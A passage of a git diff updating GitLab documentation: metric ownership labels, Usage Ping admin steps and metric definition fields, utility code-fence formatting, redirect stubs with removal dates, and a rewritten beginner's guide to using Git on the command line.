[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19340,7 +19604,7 @@ Distinct users triggering pipelines in a month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175554_ci_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19352,7 +19616,7 @@ Total configured Triggers in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175556_ci_triggers.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19376,7 +19640,7 @@ Projects with a GitHub repository mirror pipeline enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175558_projects_reporting_ci_cd_back_to_github.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19408,12 +19672,12 @@ Tiers: `free`, `premium`, `ultimate`
### `web_ide_clientside_preview_enabled`
-Whether web ide clientside preview is enabled
+Whether Web IDE clientside preview is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml)
-Group: `group::product intelligence`
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
diff --git a/doc/development/usage_ping/index.md b/doc/development/usage_ping/index.md
index 292e1256cb8..95dc4f2979a 100644
--- a/doc/development/usage_ping/index.md
+++ b/doc/development/usage_ping/index.md
@@ -50,10 +50,10 @@ More links:
You can view the exact JSON payload sent to GitLab Inc. in the administration panel. To view the payload:
1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
-1. In the top navigation bar, click **(admin)** **Admin Area**.
-1. In the left sidebar, go to **Settings > Metrics and profiling**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**.
1. Expand the **Usage statistics** section.
-1. Click the **Preview payload** button.
+1. Select **Preview payload**.
For an example payload, see [Example Usage Ping payload](#example-usage-ping-payload).
@@ -62,10 +62,10 @@ For an example payload, see [Example Usage Ping payload](#example-usage-ping-pay
To disable Usage Ping in the GitLab UI:
1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
-1. In the top navigation bar, click **(admin)** **Admin Area**.
-1. In the left sidebar, go to **Settings > Metrics and profiling**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**.
1. Expand the **Usage statistics** section.
-1. Clear the **Usage Ping** checkbox and click **Save changes**.
+1. Clear the **Enable usage ping** checkbox and select **Save changes**.
To disable Usage Ping and prevent it from being configured in the future through
the administration panel, Omnibus installs can set the following in
@@ -1014,7 +1014,7 @@ Check if new metrics need to be added to the Versions Application. See `usage_da
Add the `feature` label to the Merge Request for new Usage Ping metrics. These are user-facing changes and are part of expanding the Usage Ping feature.
-### 8. Add a changelog file
+### 8. Add a changelog
Ensure you comply with the [Changelog entries guide](../changelog.md).
@@ -1354,7 +1354,6 @@ The following is example content of the Usage Ping payload.
"reply_by_email_enabled": "incoming+%{key}@incoming.gitlab.com",
"signup_enabled": true,
"web_ide_clientside_preview_enabled": true,
- "ingress_modsecurity_enabled": true,
"projects_with_expiration_policy_disabled": 999,
"projects_with_expiration_policy_enabled": 999,
...
diff --git a/doc/development/usage_ping/metrics_dictionary.md b/doc/development/usage_ping/metrics_dictionary.md
index 40beee3c408..6b5fed4bcca 100644
--- a/doc/development/usage_ping/metrics_dictionary.md
+++ b/doc/development/usage_ping/metrics_dictionary.md
@@ -34,16 +34,18 @@ Each metric is defined in a separate YAML file consisting of a number of fields:
| `product_group` | yes | The [group](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) that owns the metric. |
| `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. |
| `value_type` | yes | `string`; one of [`string`, `number`, `boolean`, `object`](https://json-schema.org/understanding-json-schema/reference/type.html). |
-| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`. |
+| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`, `broken`. |
| `time_frame` | yes | `string`; may be set to a value like `7d`, `28d`, `all`, `none`. |
| `data_source` | yes | `string`; may be set to a value like `database`, `redis`, `redis_hll`, `prometheus`, `system`. |
+| `data_category` | yes | `string`; [categories](#data-category) of the metric, may be set to `Operational`, `Optional`, `Subscription`, `Standard`. |
| `instrumentation_class` | no | `string`; [the class that implements the metric](metrics_instrumentation.md). |
| `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. |
| `tier` | yes | `array`; may be set to one of `free, premium, ultimate`, `premium, ultimate` or `ultimate`. The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the tracked feature is available. |
| `milestone` | no | The milestone when the metric is introduced. |
| `milestone_removed` | no | The milestone when the metric is removed. |
| `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. |
-| `extra` | no | `object`: extra information needed to calculate the metric value. |
+| `repair_issue_url` | no | The URL of the issue that was created to repair a metric with a `broken` status. |
+| `options` | no | `object`: options information needed to calculate the metric value. |
| `skip_validation` | no | This should **not** be set. [Used for imported metrics until we review, update and make them valid](https://gitlab.com/groups/gitlab-org/-/epics/5425). |
### Metric statuses
@@ -53,10 +55,30 @@ Metric definitions can have one of the following statuses:
- `data_available`: Metric data is available and used in a Sisense dashboard.
- `implemented`: Metric is implemented but data is not yet available. This is a temporary
status for newly added metrics awaiting inclusion in a new release.
+- `broken`: Metric reports broken data (for example, -1 fallback), or does not report data at all. A metric marked as `broken` must also have the `repair_issue_url` attribute.
- `not_used`: Metric is not used in any dashboard.
- `deprecated`: Metric is deprecated and possibly planned to be removed.
- `removed`: Metric was removed, but it may appear in Usage Ping payloads sent from instances running on older versions of GitLab.
+### Metric value_type
+
+Metric definitions can have one of the following values for `value_type`:
+
+- `boolean`
+- `number`
+- `string`
+- `object`: A metric with `value_type: object` must have `value_json_schema` with a link to the JSON schema for the object.
+In general, we avoid complex objects and prefer one of the `boolean`, `number`, or `string` value types.
+An example of a metric that uses `value_type: object` is `topology` (`/config/metrics/settings/20210323120839_topology.yml`),
+which has a related schema in `/config/metrics/objects_schemas/topology_schema.json`.
+
+### Metric time_frame
+
+- `7d`: The metric data applies to the most recent 7-day interval. For example, the following metric counts the number of users that create epics over a 7-day interval: `ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml`.
+- `28d`: The metric data applies to the most recent 28-day interval. For example, the following metric counts the number of unique users that create issues over a 28-day interval: `config/metrics/counts_28d/20210216181139_issues.yml`.
+- `all`: The metric data applies for the whole time the metric has been active (all-time interval). For example, the following metric counts all users that create issues: `/config/metrics/counts_all/20210216181115_issues.yml`.
+- `none`: The metric collects a type of data that's not tracked over time, such as settings and configuration information. Therefore, a time interval is not applicable. For example, `uuid` has no time interval applicable: `config/metrics/license/20210201124933_uuid.yml`.
+
### Metric name
To improve metric discoverability by a wider audience, each metric with
@@ -72,6 +94,15 @@ Metric name suggestions can contain two types of elements:
For a metric name to be valid, it must not include any prompt, and no fixed suggestions
should be changed.
+### Data category
+
+We use the following categories to classify a metric:
+
+- `Operational`: Required data for operational purposes.
+- `Optional`: Data that is optional to collect. This can be [enabled or disabled](../usage_ping/index.md#disable-usage-ping) in the Admin Area.
+- `Subscription`: Data related to licensing.
+- `Standard`: Standard set of identifiers that are included when collecting data.
+
### Metric name suggestion examples
#### Metric with `data_source: database`
diff --git a/doc/development/usage_ping/metrics_instrumentation.md b/doc/development/usage_ping/metrics_instrumentation.md
index 2cb24fab6cc..ff0dbf99a09 100644
--- a/doc/development/usage_ping/metrics_instrumentation.md
+++ b/doc/development/usage_ping/metrics_instrumentation.md
@@ -26,7 +26,7 @@ A metric definition has the [`instrumentation_class`](metrics_dictionary.md) fie
The defined instrumentation class should have one of the existing metric classes: `DatabaseMetric`, `RedisHLLMetric`, or `GenericMetric`.
-Using the instrumentation classes ensures that metrics can fail safe individually, without breaking the entire
+Using the instrumentation classes ensures that metrics can fail safe individually, without breaking the entire
process of Usage Ping generation.
We have built a domain-specific language (DSL) to define the metrics instrumentation.
@@ -53,20 +53,17 @@ end
## Redis HyperLogLog metrics
-[Example of a merge request that adds a `RedisHLL` metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60089/diffs).
+[Example of a merge request that adds a `RedisHLL` metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61685).
-```ruby
-module Gitlab
- module Usage
- module Metrics
- module Instrumentations
- class CountUsersUsingApproveQuickActionMetric < RedisHLLMetric
- event_names :i_quickactions_approve
- end
- end
- end
- end
-end
+Count unique values for `i_quickactions_approve` event.
+
+```yaml
+time_frame: 28d
+data_source: redis_hll
+instrumentation_class: 'Gitlab::Usage::Metrics::Instrumentations::RedisHLLMetric'
+options:
+ events:
+ - i_quickactions_approve
```
## Generic metrics
@@ -88,3 +85,18 @@ module Gitlab
end
end
```
+
+## Creating a new metric instrumentation class
+
+To create a stub instrumentation for a Usage Ping metric, you can use a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_generator.rb):
+
+The generator takes the class name as an argument and the following options:
+
+- `--type=TYPE` Required. Indicates the metric type. It must be one of: `database`, `generic`, `redis_hll`.
+- `--ee` Indicates if the metric is for EE.
+
+```shell
+rails generate gitlab:usage_metric CountIssues --type database
+ create lib/gitlab/usage/metrics/instrumentations/count_issues_metric.rb
+ create spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
+```
diff --git a/doc/development/utilities.md b/doc/development/utilities.md
index d7baa6b23a5..b9b4c6448e2 100644
--- a/doc/development/utilities.md
+++ b/doc/development/utilities.md
@@ -10,11 +10,11 @@ We have developed a number of utilities to help ease development:
## `MergeHash`
-Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/merge_hash.rb):
+Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/merge_hash.rb):
- Deep merges an array of hashes:
- ``` ruby
+ ```ruby
Gitlab::Utils::MergeHash.merge(
[{ hello: ["world"] },
{ hello: "Everyone" },
@@ -25,7 +25,7 @@ Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/
Gives:
- ``` ruby
+ ```ruby
[
{
hello:
@@ -41,7 +41,7 @@ Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/
- Extracts all keys and values from a hash into an array:
- ``` ruby
+ ```ruby
Gitlab::Utils::MergeHash.crush(
{ hello: "world", this: { crushes: ["an entire", "hash"] } }
)
@@ -49,13 +49,13 @@ Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/
Gives:
- ``` ruby
+ ```ruby
[:hello, "world", :this, :crushes, "an entire", "hash"]
```
## `Override`
-Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/override.rb):
+Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/override.rb):
- This utility can help you check if one method would override
another or not. It is the same concept as Java's `@Override` annotation
@@ -69,7 +69,7 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi
Here's a simple example:
- ``` ruby
+ ```ruby
class Base
def execute
end
@@ -86,7 +86,7 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi
This also works on modules:
- ``` ruby
+ ```ruby
module Extension
extend ::Gitlab::Utils::Override
@@ -152,7 +152,7 @@ Derived.f # => nil
## `StrongMemoize`
-Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/strong_memoize.rb):
+Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/strong_memoize.rb):
- Memoize the value even if it is `nil` or `false`.
@@ -164,7 +164,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/
Instead of writing patterns like this:
- ``` ruby
+ ```ruby
class Find
def result
return @result if defined?(@result)
@@ -176,7 +176,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/
You could write it like:
- ``` ruby
+ ```ruby
class Find
include Gitlab::Utils::StrongMemoize
@@ -190,7 +190,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/
- Clear memoization
- ``` ruby
+ ```ruby
class Find
include Gitlab::Utils::StrongMemoize
end
@@ -200,7 +200,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/
## `RequestCache`
-Refer to [`request_cache.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/cache/request_cache.rb).
+Refer to [`request_cache.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cache/request_cache.rb).
This module provides a simple way to cache values in RequestStore,
and the cache key would be based on the class name, method name,
@@ -209,7 +209,7 @@ method level values, and optional method arguments.
A simple example that only uses the instance level customised values is:
-``` ruby
+```ruby
class UserAccess
extend Gitlab::Cache::RequestCache
@@ -230,7 +230,7 @@ instance variable so the cache logic would be the same.
We can also set different strategies for different methods:
-``` ruby
+```ruby
class Commit
extend Gitlab::Cache::RequestCache
diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md
index 7d20382973a..abf49d31de2 100644
--- a/doc/development/what_requires_downtime.md
+++ b/doc/development/what_requires_downtime.md
@@ -1,5 +1,6 @@
---
redirect_to: 'avoiding_downtime_in_migrations.md'
+remove_date: '2021-07-01'
---
This document was moved to [another location](avoiding_downtime_in_migrations.md).
diff --git a/doc/development/wikis.md b/doc/development/wikis.md
index 9998e29b596..994312da98e 100644
--- a/doc/development/wikis.md
+++ b/doc/development/wikis.md
@@ -40,7 +40,7 @@ Some notable gems that are used for wikis are:
We only use Gollum as a storage abstraction layer, to handle the mapping between wiki page slugs and files in the repository.
When rendering wiki pages, we don't use Gollum at all and instead go through a
-[custom Banzai pipeline](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/pipeline/wiki_pipeline.rb).
+[custom Banzai pipeline](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/pipeline/wiki_pipeline.rb).
This adds some [wiki-specific markup](../user/markdown.md#wiki-specific-markdown), such as Gollum's `[[link]]` syntax.
Because we do not make use of most of Gollum's features, we plan to move away from it entirely at some point.
diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md
index c815842480c..488d86f129d 100644
--- a/doc/downgrade_ee_to_ce/README.md
+++ b/doc/downgrade_ee_to_ce/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/downgrade_ee_to_ce/index.md b/doc/downgrade_ee_to_ce/index.md
index 15e0c43a6bb..00e59c46da1 100644
--- a/doc/downgrade_ee_to_ce/index.md
+++ b/doc/downgrade_ee_to_ce/index.md
@@ -23,7 +23,7 @@ alternative authentication methods to your users.
### Remove Service Integration entries from the database
-The `GithubService` class is only available in the Enterprise Edition codebase,
+The GitHub integration is only available in the Enterprise Edition codebase,
so if you downgrade to the Community Edition, the following error displays:
```plaintext
@@ -35,8 +35,8 @@ column if you didn't intend it to be used for storing the inheritance class or o
use another column for that information.)
```
-All services are created automatically for every project you have, so in order
-to avoid getting this error, you need to remove all instances of the
+All integrations are created automatically for every project you have, so in order
+to avoid getting this error, you need to remove all records with the type set to
`GithubService` from your database:
**Omnibus Installation**
diff --git a/doc/gitlab-basics/README.md b/doc/gitlab-basics/README.md
index c815842480c..488d86f129d 100644
--- a/doc/gitlab-basics/README.md
+++ b/doc/gitlab-basics/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/gitlab-basics/add-file.md b/doc/gitlab-basics/add-file.md
index 33db7d74949..6dd0c608983 100644
--- a/doc/gitlab-basics/add-file.md
+++ b/doc/gitlab-basics/add-file.md
@@ -33,7 +33,7 @@ cd <destination folder>
to the default branch should be avoided unless your project is very small and you're the
only person working on it.
-You can also [switch to an existing branch](start-using-git.md#work-on-an-existing-branch)
+You can also [switch to an existing branch](start-using-git.md#switch-to-a-branch)
if you have one already.
Using your standard tool for copying files (for example, Finder in macOS, or File Explorer
diff --git a/doc/gitlab-basics/create-branch.md b/doc/gitlab-basics/create-branch.md
index 8135c16bc1e..176189298c8 100644
--- a/doc/gitlab-basics/create-branch.md
+++ b/doc/gitlab-basics/create-branch.md
@@ -9,9 +9,9 @@ type: howto
A branch is an independent line of development in a [project](../user/project/index.md).
-When you create a new branch (in your [terminal](start-using-git.md#create-a-branch) or with
+When you create a branch (in your [terminal](start-using-git.md#create-a-branch) or with
[the web interface](../user/project/repository/web_editor.md#create-a-new-branch)),
-you are creating a snapshot of a certain branch, usually the main `master` branch,
+you are creating a snapshot of a certain branch, usually the main branch,
at its current state. From there, you can start to make your own changes without
affecting the main codebase. The history of your changes is tracked in your branch.
diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md
index 18886120c63..2d9e458408a 100644
--- a/doc/gitlab-basics/create-project.md
+++ b/doc/gitlab-basics/create-project.md
@@ -1,5 +1,6 @@
---
redirect_to: '../user/project/working_with_projects.md'
+remove_date: '2021-05-05'
---
This document was moved to [another location](../user/project/working_with_projects.md).
diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md
index 9cbaca91f7d..a99307e6dbf 100644
--- a/doc/gitlab-basics/create-your-ssh-keys.md
+++ b/doc/gitlab-basics/create-your-ssh-keys.md
@@ -1,5 +1,6 @@
---
redirect_to: '../ssh/README.md'
+remove_date: '2021-07-04'
---
This document was moved to [another location](../ssh/README.md).
diff --git a/doc/gitlab-basics/fork-project.md b/doc/gitlab-basics/fork-project.md
index adb49c6970f..f006f8b7ad6 100644
--- a/doc/gitlab-basics/fork-project.md
+++ b/doc/gitlab-basics/fork-project.md
@@ -1,5 +1,6 @@
---
redirect_to: '../user/project/working_with_projects.md'
+remove_date: '2021-05-04'
---
This document was moved to [another location](../user/project/working_with_projects.md).
diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md
index a3c8946700a..f9623586e55 100644
--- a/doc/gitlab-basics/start-using-git.md
+++ b/doc/gitlab-basics/start-using-git.md
@@ -8,280 +8,254 @@ description: "Introduction to using Git through the command line."
# Start using Git on the command line **(FREE)**
-[Git](https://git-scm.com/) is an open-source distributed version control system designed to
-handle everything from small to very large projects with speed and efficiency. GitLab is built
+[Git](https://git-scm.com/) is an open-source distributed version control system. GitLab is built
on top of Git.
-While GitLab has a powerful user interface from which you can do a great amount of Git operations
-directly in the browser, you'll eventually need to use Git through the command line for advanced
-tasks.
+You can do many Git operations directly in GitLab. However, the command line is required for advanced tasks,
+like fixing complex merge conflicts or rolling back commits.
-For example, if you need to fix complex merge conflicts, rebase branches,
-merge manually, or undo and roll back commits, you must use Git from
-the command line and then push your changes to the remote server.
+For a quick reference of Git commands, download a [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf).
-This guide helps you get started with Git through the command line and can be your reference
-for Git commands in the future. If you're only looking for a quick reference of Git commands, you
-can download the GitLab [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf).
+For more information about the advantages of working with Git and GitLab:
-> For more information about the advantages of working with Git and GitLab:
->
-> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video.
-> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)'s development environment.
+- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video.
+- Learn how [GitLab became the backbone of the Worldline](https://about.gitlab.com/customers/worldline/) development environment.
-NOTE:
-To help you visualize what you're doing locally, there are
-[Git GUI apps](https://git-scm.com/download/gui/) you can install.
+To help you visualize what you're doing locally, you can install a
+[Git GUI app](https://git-scm.com/download/gui/).
-## Requirements
+## Git terminology
-You don't need a GitLab account to use Git locally, but for the purpose of this guide we
-recommend registering and signing into your account before starting. Some commands need a
-connection between the files in your computer and their version on a remote server.
+If you're familiar with Git terminology, you might want to skip this section and
+go directly to [prerequisites](#prerequisites).
-You must also open a [command shell](#command-shell) and have
-[Git installed](#install-git) in your computer.
+### Repository
-### Command shell
+In GitLab, files are stored in a **repository**. A repository is similar to how you
+store files in a folder or directory on your computer.
-To execute Git commands in your computer, you must open a command shell (also known as command
-prompt, terminal, and command line) of your preference. Here are some suggestions:
+- A **remote repository** refers to the files in GitLab.
+- A **local copy** refers to the files on your computer.
-- For macOS users:
- - Built-in: [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type "terminal" to find it.
- - [iTerm2](https://iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users.
-- For Windows users:
- - Built-in: `cmd`. Click the search icon on the bottom navigation bar on Windows and type `cmd` to find it.
- - [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7): a Windows "powered up" shell, from which you can execute a greater number of commands.
- - Git Bash: it comes built into [Git for Windows](https://gitforwindows.org/).
-- For Linux users:
- - Built-in: [Linux Terminal](https://www.howtogeek.com/140679/beginner-geek-how-to-start-using-the-linux-terminal/).
+<!-- vale gitlab.Spelling = NO -->
+<!-- vale gitlab.SubstitutionWarning = NO -->
+Often, the word "repository" is shortened to "repo".
+<!-- vale gitlab.Spelling = YES -->
+<!-- vale gitlab.SubstitutionWarning = YES -->
-### Install Git
+In GitLab, a repository is contained in a **project**.
-Open a command shell and run the following command to check if Git is already installed in your
-computer:
+### Fork
-```shell
-git --version
-```
+When you want to contribute to someone else's repository, you make a copy of it.
+This copy is called a [**fork**](../user/project/repository/forking_workflow.md#creating-a-fork).
+The process is called "creating a fork."
-If you have Git installed, the output is:
+When you fork a repo, you create a copy of the project in your own
+[namespace](../user/group/#namespaces). You then have write permissions to modify the project files
+and settings.
-```shell
-git version X.Y.Z
-```
+For example, you can fork this project, <https://gitlab.com/gitlab-tests/sample-project/>, into your namespace.
+You now have your own copy of the repository. You can view the namespace in the URL, for example
+`https://gitlab.com/your-namespace/sample-project/`.
+Then you can clone the repository to your local machine, work on the files, and submit changes back to the
+original repository.
-If your computer doesn't recognize `git` as a command, you must [install Git](../topics/git/how_to_install_git/index.md).
-After that, run `git --version` again to verify whether it was correctly installed.
+### Difference between download and clone
-## Configure Git
+To create a copy of a remote repository's files on your computer, you can either
+**download** or **clone** the repository. If you download it, you cannot sync the repository with the
+remote repository on GitLab.
-To start using Git from your computer, you must enter your credentials (user name and email)
-to identify you as the author of your work. The user name and email should match the ones you're
-using on GitLab.
+[Cloning](#clone-a-repository) a repository is the same as downloading, except it preserves the Git connection
+with the remote repository. You can then modify the files locally and
+upload the changes to the remote repository on GitLab.
-In your shell, add your user name:
+### Pull and push
-```shell
-git config --global user.name "your_username"
-```
+After you save a local copy of a repository and modify the files on your computer, you can upload the
+changes to GitLab. This is referred to as **pushing** to the remote, because you use the command
+[`git push`](#send-changes-to-gitlabcom).
-And your email address:
+When the remote repository changes, your local copy is behind. You can update your local copy with the new
+changes in the remote repository.
+This is referred to as **pulling** from the remote, because you use the command
+[`git pull`](#download-the-latest-changes-in-the-project).
-```shell
-git config --global user.email "your_email_address@example.com"
-```
+## Prerequisites
-To check the configuration, run:
+To start using GitLab with Git, complete the following tasks:
-```shell
-git config --global --list
-```
+- Create and sign in to a GitLab account.
+- [Open a terminal](#open-a-terminal).
+- [Install Git](#install-git) on your computer.
+- [Configure Git](#configure-git).
+- [Choose a repository](#choose-a-repository).
-The `--global` option tells Git to always use this information for anything you do on your system.
-If you omit `--global` or use `--local`, the configuration is applied only to the current
-repository.
+### Open a terminal
-You can read more on how Git manages configurations in the
-[Git configuration documentation](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration).
+To execute Git commands on your computer, you must open a terminal (also known as command
+prompt, command shell, and command line). Here are some options:
-## Git authentication methods
+- For macOS users:
+ - Built-in [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type `terminal`.
+ - [iTerm2](https://iterm2.com/). You can integrate it with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting and other advanced features.
+- For Windows users:
+ - Built-in command line. On the Windows taskbar, select the search icon and type `cmd`.
+ - [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7).
+ - Git Bash. It is built into [Git for Windows](https://gitforwindows.org/).
+- For Linux users:
+ - Built-in [Linux Terminal](https://ubuntu.com/tutorials/command-line-for-beginners#3-opening-a-terminal).
-To connect your computer with GitLab, you need to add your credentials to identify yourself.
-You have two options:
+### Install Git
-- Authenticate on a project-by-project basis through HTTPS, and enter your credentials every time
- you perform an operation between your computer and GitLab.
-- Authenticate through SSH once and GitLab no longer requests your credentials every time you pull, push,
- and clone.
+Determine if Git is already installed on your computer by opening a terminal
+and running this command:
-To start the authentication process, we'll [clone](#clone-a-repository) an existing repository
-to our computer:
+```shell
+git --version
+```
-- If you want to use **SSH** to authenticate, follow the instructions on the [SSH documentation](../ssh/README.md)
- to set it up before cloning.
-- If you want to use **HTTPS**, GitLab requests your user name and password:
- - If you have 2FA enabled for your account, you must use a [Personal Access Token](../user/profile/personal_access_tokens.md)
- with **read_repository** or **write_repository** permissions instead of your account's password.
- Create one before cloning.
- - If you don't have 2FA enabled, use your account's password.
+If Git is installed, the output is:
-NOTE:
-Authenticating via SSH is the GitLab recommended method. You can read more about credential storage
-in the [Git Credentials documentation](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage).
+```shell
+git version X.Y.Z
+```
-## Git terminology
+If your computer doesn't recognize `git` as a command, you must [install Git](../topics/git/how_to_install_git/index.md).
+After you install Git, run `git --version` to confirm that it installed correctly.
-If you're familiar with the Git terminology, you may want to jump directly
-into the [basic commands](#basic-git-commands).
+### Configure Git
-### Namespace
+To start using Git from your computer, you must enter your credentials
+to identify yourself as the author of your work. The username and email address
+should match the ones you use in GitLab.
-A **namespace** is either a **user name** or a **group name**.
+1. In your shell, add your user name:
-For example, suppose Jo is a GitLab.com user and they chose their user name as
-`jo`. You can see Jo's profile at `https://gitlab.com/jo`. `jo` is a namespace.
+ ```shell
+ git config --global user.name "your_username"
+ ```
-Jo also created a group in GitLab, and chose the path `test-group` for their
-group. The group can be accessed under `https://gitlab.com/test-group`. `test-group` is a namespace.
+1. Add your email address:
-### Repository
+ ```shell
+ git config --global user.email "your_email_address@example.com"
+ ```
-Your files in GitLab live in a **repository**, similar to how you have them in a folder or
-directory in your computer. **Remote** repository refers to the files in
-GitLab and the copy in your computer is called **local** copy.
-A **project** in GitLab is what holds a repository, which holds your files.
+1. To check the configuration, run:
-<!-- vale gitlab.Spelling = NO -->
-<!-- vale gitlab.SubstitutionWarning = NO -->
-Often, the word "repository" is shortened to "repo".
-<!-- vale gitlab.Spelling = YES -->
-<!-- vale gitlab.SubstitutionWarning = YES -->
+ ```shell
+ git config --global --list
+ ```
-### Fork
+ The `--global` option tells Git to always use this information for anything you do on your system.
+ If you omit `--global` or use `--local`, the configuration applies only to the current
+ repository.
-When you want to copy someone else's repository, you [**fork**](../user/project/repository/forking_workflow.md#creating-a-fork)
-the project. By forking it, you create a copy of the project into your own
-namespace to have read and write permissions to modify the project files
-and settings.
+You can read more on how Git manages configurations in the
+[Git configuration documentation](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration).
-For example, if you fork this project, <https://gitlab.com/gitlab-tests/sample-project/> into your namespace, you create your own copy of the repository in your namespace (`https://gitlab.com/your-namespace/sample-project/`). From there, you can clone it into your computer,
-work on its files, and (optionally) submit proposed changes back to the
-original repository if you'd like.
+### Choose a repository
-### Download vs clone
+Before you begin, choose the repository you want to work in. You can use any project you have permission to
+access on GitLab.com or any other GitLab instance.
-To create a copy of a remote repository's files on your computer, you can either
-**download** or **clone**. If you download, you cannot sync it with the
-remote repository on GitLab.
+To use the repository in the examples on this page:
-[Cloning](#clone-a-repository) a repository is the same as downloading, except it preserves the Git connection
-with the remote repository. This allows you to modify the files locally and
-upload the changes to the remote repository on GitLab.
+1. Go to [https://gitlab.com/gitlab-tests/sample-project/](https://gitlab.com/gitlab-tests/sample-project/).
+1. In the top right, select **Fork**.
+1. Choose a namespace for your fork.
-### Pull and push
